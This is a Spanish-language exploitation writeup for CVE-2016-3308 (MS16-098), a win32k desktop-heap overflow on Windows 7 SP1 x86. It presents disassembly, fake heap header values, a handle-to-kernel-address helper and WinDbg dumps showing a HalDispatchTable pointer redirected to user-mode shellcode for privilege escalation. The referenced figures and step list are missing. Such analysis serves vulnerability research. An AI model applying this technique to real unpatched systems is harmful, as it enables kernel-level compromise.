
Usar CVE-2016-3308 para corromper el heap de escritorio de win32k
autor : @55-AA, 18 de septiembre de 2016
##Introducción
El desktop heap es un pool del kernel usado por win32k; puede ser explotado por una aplicación en modo usuario. A continuación describiré en detalle cómo implementar una explotación fiable para leer/escribir direcciones arbitrarias en el kernel. Este writeup y el análisis asociado se realizaron en una instalación win7_sp1_x86 (build 17842).
##Vulnerabilidad
El 9 de agosto de 2016, Microsoft publicó MS16-098. El código vulnerable se encuentra dentro de la función win32k!xxxInsertMenuItem, cuyo prototipo es :
BOOL xxxInsertMenuItem(
PMENU pMenu,
UINT wIndex,
BOOL fByPosition,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem
);
Primero veamos el pseudo-código del bug en xxxInsertMenuItem:
if (pMenu->cItems >= pMenu->cAlloced) {
if (pMenu->rgItems) {
pNewItems = (PITEM)DesktopAlloc(
pMenu->head.rpdesk,
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
DTAG_MENUITEM);
......
pMenu->cAlloced += CMENUITEMALLOC;
pMenu->rgItems = pNewItems;
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);
......
pMenu->cItems++;
if (pItem != NULL) {
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {
En el código anterior, cuando el 9.º elemento (a partir del 1.º) se añadía a pMenu, se llamaba a DesktopAlloc() para reasignar un nuevo pMenu->rgItems. Después se llamaba a MNLookUpItem() para obtener la ubicación del elemento en pMenu->rgItems. Pero el pItem devuelto por MNLookUpItem() es un rgItems de otro pSubMenu, no del pMenu, por lo que al llamarse a RtlMoveMemory(), el pItem del pSubMenu y los bytes posteriores se sobrescribían debido al tamaño incorrecto del movimiento.
El siguiente es el código de desensamblado del bug, que desencadenaría una sobrescritura del heap; puede aprovecharse para construir un chunk falso:
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c imul eax,eax,6Ch
95d295b2 2bc3 sub eax,ebx
95d295b4 034634 add eax,dword ptr [esi+34h]
95d295b7 50 push eax
95d295b8 8d436c lea eax,[ebx+6Ch]
95d295bb 53 push ebx
95d295bc 50 push eax
95d295bd e85ea40100 call win32k!memmove (95d43a20)
Para seguir el bug, uso estos breakpoints en WinDbg:
ba e1 win32k!xxxInsertMenuItem
ba e1 win32k!xxxInsertMenuItem+0xf3
95d294e3 e843e70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c imul eax,eax,6Ch
Para desencadenar el bug, deben llevarse a cabo los siguientes pasos:
El desktop heap es un pool global utilizado por todos los procesos GUI. Todos los objetos GUI, como Window o Menu, se almacenan en el desktop heap y son gestionados por el asignador de heap del kernel. El asignador de heap del kernel usa funciones conocidas como RtlAllocateHeap y RtlFreeHeap. A diferencia del heap en modo usuario, el desktop heap no emplea asignadores de front-end, por lo que no hay Low Fragmentation Heap, ni listas Lookaside, etc. Tampoco hay Heap Encoding hasta Windows 8 y posteriores. La siguiente es la estructura de chunk en win7_sp1_x86:
typedef struct _HEAP_ENTRY {
USHORT Size;
UCHAR Flags;
UCHAR SegmentIndex;
USHORT PreviousSize;
UCHAR SegmentOffset;
UCHAR UnusedBytes;
} HEAP_ENTRY, *PHEAP_ENTRY;
Los campos Size y PreviousSize representan el tamaño de los chunks desplazado a la derecha HEAP_GRANULARITY_SHIFT bits (definido como 3 en sistemas de 32 bits). El campo Size especifica el chunk actual, y PreviousSize especifica el anterior. El bit más bajo de Flags normalmente se establece a HEAP_ENTRY_BUSY(0x01), lo que indica que el chunk está en uso; si no, es 0x00.
La siguiente figura muestra la relación entre estos campos y los bloques de chunks. La segunda WORD subrayada en verde (0x000f) representa que el tamaño del chunk actual es 0x78 bytes; la segunda WORD subrayada en negro (0x0003) representa que el tamaño del chunk anterior es 0x18 bytes; y las WORDs subrayadas en rojo (0x0001) representan que los chunks actuales están en uso. Aquí, el tamaño del chunk incluye el tamaño de la cabecera, definida como la estructura HEAP_ENTRY anterior.

Es la característica más importante para la corrupción del heap: el asignador de heap siempre obtiene el chunk liberado más recientemente. Esto significa que podemos asignar un chunk con cualquier tamaño y en la ubicación que queramos.
Aprovechando el bug, puedo sobrescribir algunos bytes en el desktop heap, obteniendo así un chunk falso que reemplaza a un chunk normal. Luego libero el chunk reemplazado, de modo que el chunk falso se coloca en la cima de la lista de chunks libres. Posteriormente, el chunk falso se reutiliza, y puedo escribir cualquier byte en él; la región escribible se superpone con varios chunks normales, pero no puede cubrir todo el espacio del kernel. Por lo tanto, necesito construir otra primitiva R/W en la región superpuesta, aprovechando tagWND.strName para escribir en direcciones arbitrarias. El puntero de strName.Buffer puede llevarnos a cualquier lugar, tanto del kernel como del espacio de usuario. Por supuesto, nuestro objetivo es solo nt!HalDispatchTable.
La siguiente figura muestra el procedimiento de cambio del heap:

Según lo demostrado, corrompo el desktop heap paso a paso e implemento la explotación mediante las siguientes etapas:
El paso clave de la lista anterior para construir el heap fengshui:
En el paso 7, construiré una cabecera de heap falsa en el texto de WND_1, que especifica la condición futura del chunk. Como se muestra en la sección azul de la figura anterior, sobrescribirá la sección roja. La distancia desde 'Corrupt HDR' hasta 'red HDR' es 0x6c, que es el tamaño de un ITEM. Estos parámetros son los siguientes:
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
En el paso 12, construiré la siguiente cabecera de heap falsa en el texto de WND_3, lo que hace que el asignador de heap crea que estos chunks falsos están encadenados normalmente.
En el paso 15, el bug se desencadenaría. Debido a que se añade el 9.º ITEM, la lista de ITEMs se reasigna, reutilizando el chunk liberado del texto de WND_0. Así, la distancia desde 'SubMenuITEMs HDR' hasta 'MenuITEMs HDR' es (0x6c8+0x78+0x78) bytes, y los datos dentro de esta región se sobrescribirían a sí mismos. En este paso, las cabeceras de los chunks de WND_1, WND_2 y MenuITEMs resultan dañadas. Para salir del proceso normalmente, guardo algunos datos, de modo que pueda restaurarlos en el paso 20.
En el paso 13, guardo algunos datos antes de que resulten dañados. Sin embargo, estoy en modo usuario, así que no puedo leer esos datos del kernel. Afortunadamente, hay una sección mapeada en el espacio de usuario: es la imagen del desktop heap. Aunque es de solo lectura, es suficiente para mi propósito. Para obtener la dirección de la sección de la imagen en el espacio de usuario, se puede usar Win32ClientInfo, una estructura no documentada en TEB; veámosla:
typedef struct _CLIENTINFO {
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;
typedef struct _DESKTOPINFO {
PVOID pvDesktopBase;
PVOID pvDesktopLimit;
} DESKTOPINFO, *PDESKTOPINFO;
Los campos que nos interesan son pvDesktopBase y ulClientDelta. pvDesktopBase apunta a la dirección del desktop heap en el kernel; ulClientDelta es un valor delta que especifica el desplazamiento entre la imagen en el espacio de usuario y la dirección del kernel.
Además, necesito una relación mapeada desde HANDLE hasta la dirección del kernel. Existe una variable global llamada gSharedInfo, exportada por user32.dll en win7 y posteriores. Se define de la siguiente manera:
typedef struct _SHAREDINFO{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl[31];
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;
Así, puedo obtener la dirección del kernel a partir de un handle mediante la función:
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
ULONG dwUniq = (ULONG)MyHandle >> 16;
if(dwIndex <= cEntries) {
if (dwUniq == UserHandleTable[dwIndex].wUniq) {
*UserlandPtr = (PVOID)(
(ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
return (PVOID)UserHandleTable[dwIndex].phead;
}
}
return NULL;
}
En los pasos 17, 18 y 20, quiero escribir algunos bytes en el kernel, así que aprovecho el texto de la ventana. Es un LARGE_UNICODE_STRING asignado en el desktop heap y asociado a un objeto ventana. Podemos encontrarlo en la estructura tagWND; en win7_sp1_x86, su offset es 0x84, y el offset 0x8c es el puntero que podemos controlar para leer/escribir. En el espacio de usuario, puedo llamar a NtUserDefSetText() para establecer el texto de la ventana; el contenido del texto se escribiría en la dirección del kernel que queramos.
En el paso 19, desencadeno el objetivo final, el shellcode. Al llamar a NtQueryIntervalProfile() en el espacio de usuario, originalmente se llamaría a hal!HaliQuerySystemInformation, pero su puntero de función en nt!HalDispatchTable ha sido reemplazado por mi propia función en el paso 18. Por cierto, cuando el primer parámetro de NtQueryIntervalProfile se establece en 1, hay un cortocircuito, debido al siguiente código en el offset 84115505:
nt!KeQueryIntervalProfile:
841154fd 8bff mov edi,edi
841154ff 55 push ebp
84115500 8bec mov ebp,esp
84115502 83ec10 sub esp,10h
84115505 83f801 cmp eax,1
84115508 7507 jne nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9 leave
84115510 c3 ret
Aparte de eso, cualquier otro valor seguiría el flujo normal.
Para seguir cómodamente todo el procedimiento de corrupción, imprimo algunos valores clave en la consola.

Según la salida, podemos vislumbrar el diseño del desktop heap corrupto con WinDbg.
Estos son WND_1_Text y WND_2_Text en los pasos 7 y 8:
1: kd> db fea2d7a8-8 l78*2
fea2d7a0 0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00 ................
fea2d7b0 e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d810 00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08 ................
fea2d820 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Esta es la condición después de ser explotado en el paso 15:
0: kd> db fea2d7a8-8 l78*2
fea2d7a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d810 d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08 ................
fea2d820 f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00 .6..............
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00 ................
Este es el chunk falso completado:
0: kd> db fea2d820-8
fea2d818 1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe .........6......
fea2d828 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d878 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d888 0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
Este es el segundo chunk falso completado:
0: kd> db fea2d820-8 + 11d*8
fea2e100 02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00 ................
fea2e110 0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1 ........8&......
fea2e120 00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00 [email protected].........
fea2e130 00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe ................
fea2e140 00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95 .........@......
fea2e150 00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00 ................
fea2e160 e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe .>..............
fea2e170 00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09 ................
PrimitiveWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4 02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00 .........S......
fea2dff4 60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 `...............
fea2e004 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e014 17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01 ..............~.
fea2e024 18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00 ................
fea2e034 03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe [email protected]...
fea2e044 18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04 ...`............
fea2e054 00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe ........`...(...
CorruptWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4 de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00 ........ .......
fea2e0c4 30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 0...............
fea2e0d4 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e0e4 17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01 ..............~.
fea2e0f4 18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00 ................
fea2e104 1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00 ................
fea2e114 03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00 ....8&..........
fea2e124 40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00 @.G.............
El puntero del shellcode reemplazado:
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 013711c0
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
0: kd> u 013711c0
013711c0 a188fa3701 mov eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701 mov ecx,dword ptr ds:[137FA80h]
013711cb 894804 mov dword ptr [eax+4],ecx
013711ce 33c0 xor eax,eax
013711d0 c21000 ret 10h
##Referencias